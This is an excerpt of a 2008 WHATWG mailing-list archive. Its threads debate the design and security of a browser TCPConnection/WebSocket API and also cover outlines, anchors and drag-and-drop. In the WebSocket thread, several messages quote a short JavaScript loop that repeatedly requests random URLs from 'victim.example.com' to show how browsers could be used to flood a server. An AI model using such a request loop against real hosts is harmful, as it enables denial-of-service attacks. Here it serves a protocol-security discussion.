From: foolistbar at googlemail.com (Geoffrey Sneddon)
Date: Wed, 18 Jun 2008 17:46:28 +0100
Subject: [whatwg] Creating An Outline oddity
In-Reply-To: <Pine.LNX.4.62.0806150251410.6527@hixie.dreamhostps.com>
References: <DE7E6E4A-5C54-4C5E-898B-7B75E7B33FEF@googlemail.com>
	<Pine.LNX.4.62.0806150251410.6527@hixie.dreamhostps.com>
Message-ID: <A4327F89-D60B-420E-9403-326EBCEB77AA@googlemail.com>


On 15 Jun 2008, at 04:06, Ian Hickson wrote:

> On Sun, 15 Jun 2008, Geoffrey Sneddon wrote:
>>
>> Having implemented the creating an outline algorithm (see
>> <http://pastebin.ca/1048202>), I'm getting some odd results (the only
>> TODO won't affect HTML 4.01 documents such as the following issues).
>>
>> Using `<h1>Foo<h2>Bar<h2>Lol`, and looking at the final "current
>> section" (this is the root sectioning element, body), it seems I
>> correctly get the heading of it ("Foo"), but I only get one  
>> subsection:
>> "Bar". As far as I can see, my implementation follows what the spec
>> says, so it looks as if this is an issue with the spec.
>>
>> With HTML 5, the current_outlinee at the end is a td element, when it
>> should be the body element. That really is rather odd.
>
> I don't understand the markup you mean. Could you draw the DOM or  
> provide
> unambiguous markup for what you're describing? (I don't understand how
> "Foo" is a heading but "Bar" is a section in your markup.)

The first issue is identical to <http://lists.w3.org/Archives/Public/public-html/2008Mar/0032.html 
 >, which I bullied (sorry, asked) you in to fixing yesterday and is  
now fixed. The second issue was an implementation bug.


--
Geoffrey Sneddon
<http://gsnedders.com/>



From cartermichael at gmail.com  Wed Jun 18 12:09:05 2008
From: cartermichael at gmail.com (Michael Carter)
Date: Wed, 18 Jun 2008 12:09:05 -0700
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <48590478.6000403@arc.net.au>
References: <mailman.6069.1213752657.2753.whatwg-whatwg.org@lists.whatwg.org>
	<48588ABF.1010006@arc.net.au>
	<31fb000f0806180334x5ac90f18ia6b875457bae01f4@mail.gmail.com>
	<48590478.6000403@arc.net.au>
Message-ID: <3a05072b0806181209u35684c26kad82a4ff3d2503cb@mail.gmail.com>

>
> The protocol should not require any data (not even hello - it should
> function as an ordinary TCPConnection similar to implementations in
> java, c# or any other major programming language. If not, it should be
> called something else - as it is not a TCP connection.
>
>
>
>  I agree completely. Just providing async HTTP is a weak use case compared
> to allowing client-side access to millions of existing (opted-in) services
> and gadgets.
>
> Shannon
>
>
It's clear that we need some kind of opt-in strategy or all web viewers will
become spam bots in short order. While I think it will be extremely useful
to have a raw tcp connection in the browser, and indeed you could use an
external service like dns to handle connection authorization, I think that
it will be much more difficult to drive adoption to that kind of standard.
In the meantime, we need to make the protocol enforce the opt-in.

In that case I agree that the name shouldn't be TCPConnection. I propose
SocketConnection instead.

-Michael Carter
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080618/a2f3505c/attachment-0001.htm>

From ian at hixie.ch  Wed Jun 18 12:59:20 2008
From: ian at hixie.ch (Ian Hickson)
Date: Wed, 18 Jun 2008 19:59:20 +0000 (UTC)
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <3a05072b0806181209u35684c26kad82a4ff3d2503cb@mail.gmail.com>
References: <mailman.6069.1213752657.2753.whatwg-whatwg.org@lists.whatwg.org>
	<48588ABF.1010006@arc.net.au>
	<31fb000f0806180334x5ac90f18ia6b875457bae01f4@mail.gmail.com>
	<48590478.6000403@arc.net.au>
	<3a05072b0806181209u35684c26kad82a4ff3d2503cb@mail.gmail.com>
Message-ID: <Pine.LNX.4.62.0806181957140.13974@hixie.dreamhostps.com>

On Wed, 18 Jun 2008, Michael Carter wrote:
> 
> In that case I agree that the name shouldn't be TCPConnection. I propose 
> SocketConnection instead.

I was thinking WebSocket (with the protocol itself called the Web Socket 
Protocol or Web Socket Communication Protocol or some such).

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From smith at pooteeweet.org  Wed Jun 18 13:03:20 2008
From: smith at pooteeweet.org (Lukas Kahwe Smith)
Date: Wed, 18 Jun 2008 22:03:20 +0200
Subject: [whatwg] Making it possible to do an anchor link to any DOM node
Message-ID: <8B3FD1FF-14A5-4792-89DB-91837942B486@pooteeweet.org>

Hi,

Currently when linking to specific places in a document one is limited  
to the places the original author made linkable via an anchor <a> tag.  
While this is a nice touch (though not well exposed by modern  
browsers), the reality is that most of the time the person who writes  
a document that links to the original page has a better idea of where  
exactly he wants to link to.

So I think it should be possible to "dynamically" get an implicit  
anchor on essentially anything. This would be specific DOM id's or any  
css selector or xpath expression. Browsers could be extended to not  
only feature a "copy link" context menu, but also "copy link to  
element", which would do all the nitty gritty work of pointing to the  
element on which the context menu was invoked.

I searched this list to determine if something like this was suggested  
before, the only relevant post [1] I found does not seem to actually  
discuss the same at closer inspection. I just joined this list and I  
have not done a super indepth study on the web about this. So I hope I  
am not boring you all with an old idea.

regards,
Lukas Kahwe Smith
smith at pooteeweet.org

[1] http://lists.whatwg.org/htdig.cgi/whatwg-whatwg.org/2007-April/010801.html


From michael.carter at kaazing.com  Wed Jun 18 13:11:35 2008
From: michael.carter at kaazing.com (Michael Carter)
Date: Wed, 18 Jun 2008 13:11:35 -0700
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <Pine.LNX.4.62.0806181957140.13974@hixie.dreamhostps.com>
References: <mailman.6069.1213752657.2753.whatwg-whatwg.org@lists.whatwg.org>
	<48588ABF.1010006@arc.net.au>
	<31fb000f0806180334x5ac90f18ia6b875457bae01f4@mail.gmail.com>
	<48590478.6000403@arc.net.au>
	<3a05072b0806181209u35684c26kad82a4ff3d2503cb@mail.gmail.com>
	<Pine.LNX.4.62.0806181957140.13974@hixie.dreamhostps.com>
Message-ID: <24f9a1ba0806181311q865cd9bj8f1e555b2063c14c@mail.gmail.com>

On Wed, Jun 18, 2008 at 12:59 PM, Ian Hickson <ian at hixie.ch> wrote:

> On Wed, 18 Jun 2008, Michael Carter wrote:
> >
> > In that case I agree that the name shouldn't be TCPConnection. I propose
> > SocketConnection instead.
>
> I was thinking WebSocket (with the protocol itself called the Web Socket
> Protocol or Web Socket Communication Protocol or some such).
>

That sounds pretty good. Worth noting is that
http://en.wikipedia.org/wiki/Internet_socket suggests that the term "Socket"
doesn't refer to tcp/ip, rather it refers to multiple protocols. You can
have a UDPSocket or an IPSocket just as easily as you could have a
TCPSocket. In this context, neither WebSocket nor SocketConnection really
present a naming problem.

-Michael Carter
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080618/88e9aa83/attachment-0001.htm>

From ian at hixie.ch  Wed Jun 18 13:22:45 2008
From: ian at hixie.ch (Ian Hickson)
Date: Wed, 18 Jun 2008 20:22:45 +0000 (UTC)
Subject: [whatwg] Making it possible to do an anchor link to any DOM node
In-Reply-To: <8B3FD1FF-14A5-4792-89DB-91837942B486@pooteeweet.org>
References: <8B3FD1FF-14A5-4792-89DB-91837942B486@pooteeweet.org>
Message-ID: <Pine.LNX.4.62.0806182006470.13974@hixie.dreamhostps.com>

On Wed, 18 Jun 2008, Lukas Kahwe Smith wrote:
> 
> So I think it should be possible to "dynamically" get an implicit anchor 
> on essentially anything. This would be specific DOM id's or any css 
> selector or xpath expression. Browsers could be extended to not only 
> feature a "copy link" context menu, but also "copy link to element", 
> which would do all the nitty gritty work of pointing to the element on 
> which the context menu was invoked.
> 
> I searched this list to determine if something like this was suggested 
> before, the only relevant post [1] I found does not seem to actually 
> discuss the same at closer inspection. I just joined this list and I 
> have not done a super indepth study on the web about this. So I hope I 
> am not boring you all with an old idea.

This was discussed recently in the public-html list, I believe. My 
conclusion was that the better way to approach this would be to take the 
XPointer work [1] and extend it to cover HTML DOMs as well as XML. With 
such a language specified, one could then add references to such languages 
to the relevant MIME type RFCs (fragment identifier behaviour has 
historically been defined by MIME type RFCs, not by the language specs 
themselves).

My recommendation therefore would be to approach the XML Core Working 
Group at the W3C and see if there is any interest in developing XPointer 
further.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From frode at seria.no  Wed Jun 18 13:41:01 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Wed, 18 Jun 2008 22:41:01 +0200
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <3a05072b0806181209u35684c26kad82a4ff3d2503cb@mail.gmail.com>
References: <mailman.6069.1213752657.2753.whatwg-whatwg.org@lists.whatwg.org>
	<48588ABF.1010006@arc.net.au>
	<31fb000f0806180334x5ac90f18ia6b875457bae01f4@mail.gmail.com>
	<48590478.6000403@arc.net.au>
	<3a05072b0806181209u35684c26kad82a4ff3d2503cb@mail.gmail.com>
Message-ID: <31fb000f0806181341h51d29021r445f7511a7b9e373@mail.gmail.com>

>> The protocol should not require any data (not even hello - it should
>> function as an ordinary TCPConnection similar to implementations in
>> java, c# or any other major programming language. If not, it should be
>> called something else - as it is not a TCP connection.

>> I agree completely. Just providing async HTTP is a weak use case compared
>> to allowing client-side access to millions of existing (opted-in) services
>> and gadgets.

> It's clear that we need some kind of opt-in strategy or all web viewers will
> become spam bots in short order. While I think it will be extremely useful
> to have a raw tcp connection in the browser, and indeed you could use an
> external service like dns to handle connection authorization, I think that
> it will be much more difficult to drive adoption to that kind of standard.
> In the meantime, we need to make the protocol enforce the opt-in.

It should not be allowed to connect to any other host or ip-address
than the IP-address where the script was retrieved from. Exactly the
same security policy is enforced in Java applets and Flash. If the
javascript should be able to connect to other servers, then there
should be some sort of mechanism involving certificates and possibly
also a TXT record in the DNS for each server that can be accessed.

> In that case I agree that the name shouldn't be TCPConnection. I propose
> SocketConnection instead.

If some protocol is decided on, the protocol should have a name. I
think the name of the object should be WebConnection or WebSocket.

Still I do not believe it should have a specific protocol. If a
protocol is decided on, and it is allowed to connect to any IP-address
- then DDOS attacks can still be performed: If one million web
browsers connect to any port on a single server, it does not matter
which protocol the client tries to communicate with. The server will
still have problems.


From cartermichael at gmail.com  Wed Jun 18 14:09:02 2008
From: cartermichael at gmail.com (Michael Carter)
Date: Wed, 18 Jun 2008 14:09:02 -0700
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <31fb000f0806181341h51d29021r445f7511a7b9e373@mail.gmail.com>
References: <mailman.6069.1213752657.2753.whatwg-whatwg.org@lists.whatwg.org>
	<48588ABF.1010006@arc.net.au>
	<31fb000f0806180334x5ac90f18ia6b875457bae01f4@mail.gmail.com>
	<48590478.6000403@arc.net.au>
	<3a05072b0806181209u35684c26kad82a4ff3d2503cb@mail.gmail.com>
	<31fb000f0806181341h51d29021r445f7511a7b9e373@mail.gmail.com>
Message-ID: <3a05072b0806181409y1fa02c45nbf92c2754e61e1aa@mail.gmail.com>

> Still I do not believe it should have a specific protocol. If a
> protocol is decided on, and it is allowed to connect to any IP-address
> - then DDOS attacks can still be performed: If one million web
> browsers connect to any port on a single server, it does not matter
> which protocol the client tries to communicate with. The server will
> still have problems.
>

Aren't there and identical set of objections to the cross-domain
access-control header? Or microsofts XDR object? Even without Websocket,
browsers will be making fully cross-domain requests, and the only question
left is how exactly to implement the security in the protocol. That said,
there's no additional harm in allowing WebSocket to establish  cross-domain
connections, but there are many benefits.

-Michael Carter
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080618/4e1bc6ec/attachment-0001.htm>

From ian at hixie.ch  Wed Jun 18 14:24:10 2008
From: ian at hixie.ch (Ian Hickson)
Date: Wed, 18 Jun 2008 21:24:10 +0000 (UTC)
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <31fb000f0806181341h51d29021r445f7511a7b9e373@mail.gmail.com>
References: <mailman.6069.1213752657.2753.whatwg-whatwg.org@lists.whatwg.org>
	<48588ABF.1010006@arc.net.au>
	<31fb000f0806180334x5ac90f18ia6b875457bae01f4@mail.gmail.com>
	<48590478.6000403@arc.net.au>
	<3a05072b0806181209u35684c26kad82a4ff3d2503cb@mail.gmail.com>
	<31fb000f0806181341h51d29021r445f7511a7b9e373@mail.gmail.com>
Message-ID: <Pine.LNX.4.62.0806182123480.13974@hixie.dreamhostps.com>

On Wed, 18 Jun 2008, Frode B?rli wrote:
> 
> Still I do not believe it should have a specific protocol. If a protocol 
> is decided on, and it is allowed to connect to any IP-address - then 
> DDOS attacks can still be performed: If one million web browsers connect 
> to any port on a single server, it does not matter which protocol the 
> client tries to communicate with. The server will still have problems.

You can already do that today using <img>.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'

From phil127 at gmail.com  Wed Jun 18 14:26:37 2008
From: phil127 at gmail.com (Philipp Serafin)
Date: Wed, 18 Jun 2008 23:26:37 +0200
Subject: [whatwg]  TCPConnection feedback
In-Reply-To: <f042876c0806181425l6907ec55m878efcaa3adc78cb@mail.gmail.com>
References: <mailman.6069.1213752657.2753.whatwg-whatwg.org@lists.whatwg.org>
	<48588ABF.1010006@arc.net.au>
	<31fb000f0806180334x5ac90f18ia6b875457bae01f4@mail.gmail.com>
	<48590478.6000403@arc.net.au>
	<3a05072b0806181209u35684c26kad82a4ff3d2503cb@mail.gmail.com>
	<31fb000f0806181341h51d29021r445f7511a7b9e373@mail.gmail.com>
	<f042876c0806181425l6907ec55m878efcaa3adc78cb@mail.gmail.com>
Message-ID: <f042876c0806181426y74d7edc9q4677e6b84093cbab@mail.gmail.com>

> Still I do not believe it should have a specific protocol.

I think a major problem with raw TCP connections is that they would be
the nightmare of every administrator. If web pages could use every
sort of homebrew protocol on all possible ports, how could you still
sensibly configure a firewall without the danger of accidentally
disabling mary sue grandmother's web application?

Also keep in mind the issue list Ian brought up in the other mail.
Things like URI based adressing and virtual hosting would not be
possible with raw TCP. That would make this feature a lot less useable
for authors that do not have full access over their server, like in
shared hosting situations, for example.

> [If a] protocol is decided on, and it is allowed to connect to any IP-address
> - then DDOS attacks can still be performed: If one million web
> browsers connect to any port on a single server, it does not matter
> which protocol the client tries to communicate with. The server will
> still have problems.

Couldn't this already be done today, though? You can already today
connect to an arbitrary server on an arbitrary port using forms,
<img>, <script src=""> and all other references that cannot be
cross-domain protected for backwards compatibillity reasons. The whole
hotlinking issue is basically the result of that.
How would WebSocket connections be more harmful than something like

setInterval(function(){
  var img = new Image();
  img.src = "http://victim.example.com/" + generateLongRandomString();
}, 1000);

for example would?


From elharo at metalab.unc.edu  Wed Jun 18 14:31:46 2008
From: elharo at metalab.unc.edu (Elliotte Rusty Harold)
Date: Wed, 18 Jun 2008 14:31:46 -0700
Subject: [whatwg] Making it possible to do an anchor link to any DOM node
In-Reply-To: <8B3FD1FF-14A5-4792-89DB-91837942B486@pooteeweet.org>
References: <8B3FD1FF-14A5-4792-89DB-91837942B486@pooteeweet.org>
Message-ID: <48597EC2.4090707@metalab.unc.edu>

Lukas Kahwe Smith wrote:
> Hi,
> 
> Currently when linking to specific places in a document one is limited 
> to the places the original author made linkable via an anchor <a> tag. 
> While this is a nice touch (though not well exposed by modern browsers), 
> the reality is that most of the time the person who writes a document 
> that links to the original page has a better idea of where exactly he 
> wants to link to.


Actually, what you link to these days is any element with an ID attribute.

What you're proposing is to reinvent XPointer.

-- 
Elliotte Rusty Harold
elharo at metalab.unc.edu


From t.broyer at gmail.com  Wed Jun 18 14:31:48 2008
From: t.broyer at gmail.com (Thomas Broyer)
Date: Wed, 18 Jun 2008 23:31:48 +0200
Subject: [whatwg] more drag/drop feedback
In-Reply-To: <48591FBC.4080902@gmail.com>
References: <48591FBC.4080902@gmail.com>
Message-ID: <a9699fd20806181431m164eeaf2l1e49d2a6774d9da7@mail.gmail.com>

On Wed, Jun 18, 2008 at 4:46 PM, Neil Deakin wrote:
> The initDragEvent/initDragEvent methods take a DataTransfer as an argument.
> Is it expected that the DataTransfer to use here can be created with 'new
> DataTransfer'?
>
> IE and Safari allow a no-argument form of clearData as well which clears all
> formats.

FWIW, Adobe AIR's Clipboard (which is equivalent to the DataTransfer
object) has a clear() no-argument method.

See:
http://livedocs.adobe.com/flex/3/langref/flash/events/NativeDragEvent.html
http://help.adobe.com/en_US/AIR/1.1/jslr/flash/desktop/Clipboard.html

> The description for the 'types' property implies that this should be a live
> list. Why?

Maybe so that you can keep a reference to it while setData/clearData
is being called? But couldn't you just keep a reference to the
DataTransfer object? It seems that IE doesn't have such a property.
Adobe AIR's WebKit does, but how about Safari?

> The clearData, setData and getData methods should clarify what happens if an
> empty format is supplied.

For my personal culture, what happens in IE and Safari?

> I still don't understand the purpose of the addElement method.

I think addElement is there to allow e.g. "dialog boxes" where the box
can be dragged using its "title bar": only the title-bar is draggable
but ondragstart it adds the whole dialog box to the list of what is
being dragged...

> Either this
> should be removed or there should be clarification of the difference between
> addElement and setDragImage

setDragImage is only about the "drag feedback", not "what is being
dragged", if I understand correctly...

> Previously, I said that DragEvents should be UIEvents. I think they should
> instead inherit from MouseEvent.

FWIW, NativeDragEvent in Adobe AIR inherits MouseEvent.

> We have a need to be able to support both dragging multiple items, as well
> as dragging non-string data, for instance dragging a set of files as a set
> of File objects (see http://www.w3.org/TR/file-upload/) from the file system
> onto a page.

That would be new data formats.
That's how Adobe AIR solved the problem. They added a Bitmap and File
list data formats, for which getData returns AIR-specific objets (a
BitmapData and an array of File objects respectively)
http://help.adobe.com/en_US/AIR/1.1/jslr/flash/desktop/ClipboardFormats.html
http://livedocs.adobe.com/air/1/devappshtml/DragAndDrop_2.html#1048911

> For this, we would also like to propose methods like the following, which
> are analagous to the existing methods (where Variant is just any type of
> object):

I don't see a real need for them (others didn't need them while
providing the same features) and they wouldn't be backwards compatible
with IE and Safari, while AFAIK the current draft is.

-- 
Thomas Broyer


From frode at seria.no  Wed Jun 18 15:53:04 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Thu, 19 Jun 2008 00:53:04 +0200
Subject: [whatwg] Suggestion of an alternative TCPConnection implementation
Message-ID: <31fb000f0806181553k624c3a67o16e79c781d3168cb@mail.gmail.com>

> I think a major problem with raw TCP connections is that they would be
> the nightmare of every administrator. If web pages could use every
> sort of homebrew protocol on all possible ports, how could you still
> sensibly configure a firewall without the danger of accidentally
> disabling mary sue grandmother's web application?

I dont think so, as long as the web page could only connect to its origin
server. I am certain that this problem was discussed when Java applets
were created also.

Web pages should only be allowed to access other servers when the
script has been digitally signed, and when the user has agreed to
giving the script elevated privileges - or there should be a
certificate on the origin server which is checked against DNS records
for each server that the script attempts to connect to.

> Also keep in mind the issue list Ian brought up in the other mail.
> Things like URI based adressing and virtual hosting would not be
> possible with raw TCP. That would make this feature a lot less useable
> for authors that do not have full access over their server, like in
> shared hosting situations, for example.

Hmm.. There are good arguments both ways. I would like both please :)

So what we want is a http based protocol which allow the client to
continue communicating with the script that handles the initial
request. I believe that a great way to implement this would be to
extend the http protocol (and by using the Connection: Keep-Alive
header).

It should be the script on the server that decides if the connection
is persistent. This will avoid most problems with cross domain
connections, i believe. Lets imagine two php-scripts on a web server:

/index.php (PHP script)
/persistent.pphp (persistent PHP script)

If the user types in the address http://host.com/persistent.pphp -
then this use case is followed:

1. Client sends GET /persistent.pphp and its headers (including domain
name and cookies etc). After all headers are sent, it expects a
standard http compliant response.
2. Server checks the Accept: header for HTML 5 support.
3 (alternative flow): If no support is found in the Accept headers, a
HTTP 406 Not Acceptable header is sent with an error message saying
that a HTML 5 browser is required.
4 (alternative flow). Server checks the (new) SessionID header if it
should reconnect the client to an existing server side instance.
4. Server side script processes the request and may reply with a
complete html page (or with simply a Hello message - it is the server
side script that decides). Server must send Connection: Keep-Alive and
Connection-Type: Persistent headers.
4. The browser renders the response - but a singleton object is
magically available from javascript; document.defaultHTMLSocket. This
object allows the client to continue communicating with the script
that generated the page by sending either serialized data in the same
form as GET/POST data or single text lines.

Other use case: User visits /index.php - which will connect to
/persistent.pphp using javascript.

1. Javascript: mySocket = new HTTPSocket("/persistent.php");
2. Exactly the same use case as the previous is followed, except that
the HTTPSocket-object is returned. The initial data sent by the server
must be read using the read() method of the HTTPSocket object.


Of course, I have not had time to validate that everything I have
suggested can be used and I would like more people to review this
suggestion - but I think it looks very viable at first glance.


I see one problem, and that is if the connection is lost (for example
because of a proxy server):

This could be fixed creating a new header ment for storing a client
session id. If we standardize on that, the web server could
automatically map the client back to the correct instance of the
server application and neither the client, nor the server application
need to know that the connection was lost.


Any feedback will be appreciated.

> Couldn't this already be done today, though? You can already today
> connect to an arbitrary server on an arbitrary port using forms,
> <img>, <script src=""> and all other references that cannot be
> cross-domain protected for backwards compatibillity reasons. The whole
> hotlinking issue is basically the result of that.
> How would WebSocket connections be more harmful than something like
>
> setInterval(function(){
>   var img = new Image();
>   img.src = "http://victim.example.com/" + generateLongRandomString();
> }, 1000);
>
> for example would?
>

Yes, that could be done - but I think that it would be a lot more
painful for the server if the connection was made to some port, and
kept open. Handling a request for a non-existing url can be finished
in microseconds, but if the client just opens a port without being
disconnected, then the server will quickly be overloaded overloaded by
too many incoming connections.
--
Best regards / Med vennlig hilsen
Frode B?rli
Seria.no

Mobile:
+47 406 16 637
Company:
+47 216 90 000
Fax:
+47 216 91 000


Think about the environment. Do not print this e-mail unless you really need to.

From phil127 at gmail.com  Wed Jun 18 18:15:51 2008
From: phil127 at gmail.com (Philipp Serafin)
Date: Thu, 19 Jun 2008 03:15:51 +0200
Subject: [whatwg] Implementation of a good HTTPSocket (TCP-socket)
In-Reply-To: <31fb000f0806181546u4e319dd1h431c37d3d95d2827@mail.gmail.com>
References: <31fb000f0806181546u4e319dd1h431c37d3d95d2827@mail.gmail.com>
Message-ID: <f042876c0806181815m338706fcwfe153d59df440c50@mail.gmail.com>

On Thu, Jun 19, 2008 at 12:46 AM, Frode B?rli <frode at seria.no> wrote:

> Web pages should only be allowed to access other servers when the
> script has been digitally signed, and when the user has agreed to
> giving the script elevated privileges - or there should be a
> certificate on the origin server which is checked against DNS records
> for each server that the script attempts to connect to.

What prevents a malicious site from simply getting their own certificate?
As for user prompts, I think we have seen how well that works with
IE's ActiveX controls. I fear malicious sites would just put up a
"Click 'yes' in the next dialog to continue" message, and we're back
to square one.

DNS records sound like a good idea though.

> So what we want is a http based protocol which allow the client to
> continue communicating with the script that handles the initial
> request.

I absolutely agree that this would be the best way. However, couldn't
we use Michaels proposal for that? It seems to solve the same problems
and is actually compliant HTTP (in theory at least).

I find the SessionID header a very good idea though.What are the
thoughts on that?

I'm sorry if that has already been discussed, but if we use HTTP, why
can't we use the Access Control spec as an "opt in mechanism" that is
a little easier to implement than DNS? If you modify the behaviour a
little, you could even use it against DDOS attacks:

"Counter suggestion": When a WebSocket objects attempts to connect,
perform Access Control checks the way you would for POST requests.
If the check fails and if the server response contains an
Access-Control-Max-Age header, agents must immediately close the
connection and must not open a connection to that resource again (or,
if Access-Control-Policy-Path is present, to any resource specified)
until the specified time has elapsed.
That way, administrators that are hit by a DDOS can simply put

Access-Control: allow <*> exclude <evilsite.example.com>
Access-Control-Max-Age: 86400
Access-Control-Policy-Path: /

in their server headers and the stream should relatively quickly slow
down to a trickle.

What do you think?

With best regards,
Philipp Serafin


From shannon at arc.net.au  Wed Jun 18 18:43:39 2008
From: shannon at arc.net.au (Shannon)
Date: Thu, 19 Jun 2008 11:43:39 +1000
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <mailman.10554.1213824710.2753.whatwg-whatwg.org@lists.whatwg.org>
References: <mailman.10554.1213824710.2753.whatwg-whatwg.org@lists.whatwg.org>
Message-ID: <4859B9CB.40607@arc.net.au>

>
>
> I think a major problem with raw TCP connections is that they would be
> the nightmare of every administrator. If web pages could use every
> sort of homebrew protocol on all possible ports, how could you still
> sensibly configure a firewall without the danger of accidentally
> disabling mary sue grandmother's web application?
>   

This already happens. Just yesterday we (an ISP) had a company unable to 
access webmail on port 81 due to an overzealous firewall administrator. 
But how is a web server on port 81 more unsafe than one on 80? It isn't 
the port that matters, it's the applications that may (or may not) be 
using them that need to be controlled. Port-based blocking of whole 
networks is a fairly naive approach today. Consider that the main reason 
for these "nazi firewalls" is two-fold:
1.) to prevent unauthorised/unproductive activities (at schools, 
libraries or workplaces); and
2.) to prevent viruses connecting out.

Port-blocking to resolve these things doesn't work anymore since:
1.) even without plugins a "Web 2.0" browser provides any number of 
games, chat sites and other 'time-wasters'; and
2.) free (or compromised) web hosting can provide viruses with update 
and control mechanisms without creating suspicion by using uncommon 
ports; and
3.) proxies exist (commercial and free) to tunnel any type of traffic 
over port 80.

On the other hand port control interferes with legitimate services (like 
running multiple web servers on a single IP). So what I'm saying here is 
that network admins can do what they want but calling the policy of 
blocking non-standard ports "sensible" and then basing standards on it 
is another thing. It's pretty obvious that port-based firewalling will 
be obsoleted by protocol sniffing and IP/DNS black/whitelists sooner 
rather than later.

Your argument misses the point anyway. Using your browser as an IRC 
client is no different to downloading mIRC or using a web-based chat 
site. The genie of running "arbitrary services" from a web client 
escaped the bottle years ago with the introduction of javascript and 
plugins. We are looking at "browser as a desktop" rather than "browser 
as a reader" and I don't think that's something that will ever be 
reversed. Since we're on the threshold of the "Web Applications" age, 
and this is the Web Applications Working Group we should be doing 
everything we can to enable those applications while maintaining 
security. Disarming the browser is a valid goal ONLY once we've 
exhausted the possibility of making it safe.

> Also keep in mind the issue list Ian brought up in the other mail.
> Things like URI based adressing and virtual hosting would not be
> possible with raw TCP. That would make this feature a lot less useable
> for authors that do not have full access over their server, like in
> shared hosting situations, for example.
>   
I fail to see how virtual hosting will work for this anyway. I mean 
we're not talking about Apache/IIS here, we're talking about custom 
applications, scripts or devices - possibly implemented in firmware or 
"a few lines of perl". Adding vhost control to the protocol is just 
silly since the webserver won't ever see the request and the customer 
application should be able to use any method it likes to differentiate 
its services. Even URI addressing is silly since again the application 
may have no concept of "paths" or "queries". It is simply a service 
running on a port. The only valid use case for all this added complexity 
is proxying but nobody has tested yet whether proxies will handle this 
(short of enabling encryption, and even that is untested).

I'm thinking here that this proposal is basically rewriting the CGI 
protocol (web server handing off managed request to custom scripts) with 
the ONLY difference being the asynchronous nature of the request. 
Perhaps more consideration might be given to how the CGI/HTTP protocols 
might be updated to allow async communication.

Having said that I still see a very strong use case for low-level 
client-side TCP and UDP. There are ways to manage the security risks 
that require further investigation. Even if it must be kept same-domain 
that is better than creating a new protocol that won't work with 
existing services. Even if that sounds like a feature - it isn't. There 
are better ways to handle access-control for non-WebConnection devices 
than sending garbage to the port.

>   
>> > [If a] protocol is decided on, and it is allowed to connect to any IP-address
>> > - then DDOS attacks can still be performed: If one million web
>> > browsers connect to any port on a single server, it does not matter
>> > which protocol the client tries to communicate with. The server will
>> > still have problems.
>>     
>
> Couldn't this already be done today, though? You can already today
> connect to an arbitrary server on an arbitrary port using forms,
> <img>, <script src=""> and all other references that cannot be
> cross-domain protected for backwards compatibillity reasons. The whole
> hotlinking issue is basically the result of that.
> How would WebSocket connections be more harmful than something like
>
> setInterval(function(){
>   var img = new Image();
>   img.src = "http://victim.example.com/" + generateLongRandomString();
> }, 1000);
>
> for example would?
It's more harmful because an img tag (to my knowledge) cannot be used to 
brute-force access, whereas a socket connection could. With the focus on 
DDOS it is important to remember that these sockets will enable full 
read/write access to arbitrary services whereas existing methods can 
only write once per connection and generally not do anything useful with 
the response.

Shannon
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080619/879ca67f/attachment-0001.htm>

From giecrilj at stegny.2a.pl  Thu Jun 19 04:07:53 2008
From: giecrilj at stegny.2a.pl (=?us-ascii?Q?Kristof_Zelechovski?=)
Date: Thu, 19 Jun 2008 13:07:53 +0200
Subject: [whatwg] Suggestion of an alternative TCPConnection
	implementation
In-Reply-To: <31fb000f0806181553k624c3a67o16e79c781d3168cb@mail.gmail.com>
References: <31fb000f0806181553k624c3a67o16e79c781d3168cb@mail.gmail.com>
Message-ID: <2E40A8A4E43C480C89FD04574EF489E7@POCZTOWIEC>

Correct me if I am wrong: no two-way TCP daemon like telnet, ssh, POP3, NNTP
or IMAP allows reconnecting to an existing session when the connection drops
and for UDP daemons this question is moot because the connection never drops
although it can occasionally fail.  Why should a custom connection from
inside the browser make an exception?
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Frode Borli
Sent: Thursday, June 19, 2008 12:53 AM
To: whatwg at whatwg.org
Subject: [whatwg] Suggestion of an alternative TCPConnection implementation

I see one problem, and that is if the connection is lost (for example
because of a proxy server):

This could be fixed creating a new header ment for storing a client
session id. If we standardize on that, the web server could
automatically map the client back to the correct instance of the
server application and neither the client, nor the server application
need to know that the connection was lost.


Any feedback will be appreciated.





From frode at seria.no  Thu Jun 19 05:01:59 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Thu, 19 Jun 2008 14:01:59 +0200
Subject: [whatwg] Suggestion of an alternative TCPConnection
	implementation
In-Reply-To: <2E40A8A4E43C480C89FD04574EF489E7@POCZTOWIEC>
References: <31fb000f0806181553k624c3a67o16e79c781d3168cb@mail.gmail.com>
	<2E40A8A4E43C480C89FD04574EF489E7@POCZTOWIEC>
Message-ID: <31fb000f0806190501j7e7c7cf3y1728c6a9bc2f13b@mail.gmail.com>

> Correct me if I am wrong: no two-way TCP daemon like telnet, ssh, POP3, NNTP
